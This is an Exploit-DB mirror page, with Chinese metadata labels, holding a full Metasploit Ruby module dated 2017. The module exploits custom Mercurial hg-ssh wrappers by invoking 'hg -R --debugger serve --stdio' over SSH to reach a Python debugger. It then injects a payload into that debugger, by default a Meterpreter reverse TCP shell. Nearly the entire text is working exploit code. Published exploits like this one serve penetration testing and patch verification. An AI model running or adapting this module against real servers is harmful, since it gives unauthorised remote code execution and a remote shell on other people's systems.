Mercurial – Custom hg-ssh Wrapper Remote Code Exec (Metasploit)

  • 作者: Metasploit
    日期: 2017-04-27
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41942/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::SSH
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "Mercurial Custom hg-ssh Wrapper Remote Code Exec",
    'Description'=> %q{
    This module takes advantage of custom hg-ssh wrapper implementations that don't
    adequately validate parameters passed to the hg binary, allowing users to trigger a
    Python Debugger session, which allows arbitrary Python code execution.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'claudijd',
    ],
    'References' =>
    [
    ['URL', 'https://www.mercurial-scm.org/wiki/WhatsNew#Mercurial_4.1.3_.282017-4-18.29']
    ],
    'DefaultOptions' =>
    {
    'Payload' => 'python/meterpreter/reverse_tcp',
    },
    'Platform' => ['python'],
    'Arch' => ARCH_PYTHON,
    'Targets'=> [ ['Automatic', {}] ],
    'Privileged' => false,
    'DisclosureDate' => "Apr 18 2017",
    'DefaultTarget'=> 0
    ))
    
    register_options(
    [
    Opt::RHOST(),
    Opt::RPORT(22),
    OptString.new('USERNAME', [ true, 'The username for authentication', 'root' ]),
    OptPath.new('SSH_PRIV_KEY_FILE', [ true, 'The path to private key for ssh auth', '' ]),
    ]
    )
    
    register_advanced_options(
    [
    OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
    OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
    ]
    )
    end
    
    def rhost
    datastore['RHOST']
    end
    
    def rport
    datastore['RPORT']
    end
    
    def username
    datastore['USERNAME']
    end
    
    def ssh_priv_key
    File.read(datastore['SSH_PRIV_KEY_FILE'])
    end
    
    def exploit
    factory = ssh_socket_factory
    ssh_options = {
    auth_methods: ['publickey'],
    config: false,
    use_agent: false,
    key_data: [ ssh_priv_key ],
    port: rport,
    proxy: factory,
    non_interactive:true
    }
    
    ssh_options.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
    
    print_status("#{rhost}:#{rport} - Attempting to login...")
    
    begin
    ssh = nil
    ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
    ssh = Net::SSH.start(rhost, username, ssh_options)
    end
    rescue Rex::ConnectionError
    return
    rescue Net::SSH::Disconnect, ::EOFError
    print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
    return
    rescue ::Timeout::Error
    print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
    return
    rescue Net::SSH::AuthenticationFailed
    print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
    rescue Net::SSH::Exception => e
    print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
    return
    end
    
    if ssh
    print_good("SSH connection is established.")
    ssh.open_channel do |ch|
    ch.exec "hg -R --debugger serve --stdio" do |ch, success|
    ch.on_extended_data do |ch, type, data|
    if data.match(/entering debugger/)
    print_good("Triggered Debugger (#{data})")
    ch.send_data "#{payload.encoded}\n"
    else
    print_bad("Unable to trigger debugger (#{data})")
    end
    end
    end
    end
    
    begin
    ssh.loop unless session_created?
    rescue Errno::EBADF => e
    elog(e.message)
    end
    end
    end
    end